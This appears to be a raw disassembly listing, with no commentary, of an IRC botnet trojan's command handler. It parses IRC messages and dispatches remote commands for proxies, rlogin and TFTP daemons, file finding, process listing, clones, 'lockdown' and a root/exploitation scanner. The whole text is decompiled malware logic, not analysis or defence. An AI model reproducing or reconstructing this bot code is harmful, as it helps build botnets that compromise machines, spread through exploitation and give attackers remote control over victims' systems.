		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_4386DC

loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx

loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4386AC
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47

loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi

loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4386A0
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43865C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	loc_40F7EF

loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_40F659
; ---------------------------------------------------------------------------

loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1

loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB

loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax

loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------

loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]

loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_438650
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_489DD0
		mov	eax, off_42F6C8[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_438634
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_489CDC

loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_438610
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_4385F8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset dword_4385B0
		jmp	loc_40F95B
; ---------------------------------------------------------------------------

loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_438560

loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438528
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40F933

loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------

loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_4384E4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4384A4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438464

loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239

loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47

loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_4313B0, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_444340

loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4313B0
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------

loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_4387B8 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_444358[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_444340[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------

loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h

loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch

loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1

loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F

loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h

loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_438420 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E

loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------

loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------

loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx

loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_438368

loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_438344
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_438334
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_438328
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_438320
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_438314
		push	offset dword_438308
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4382E4
		push	offset dword_4382D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_4382C8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4382BC
		push	offset dword_4382B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_4382A0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_438294
		push	offset dword_438288
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_438278
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43826C
		push	offset dword_438260
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_438250
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_438244
		push	offset dword_438238
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4

loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_43821C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_4381BC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_438194
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_4380BC
		jnz	short loc_410249
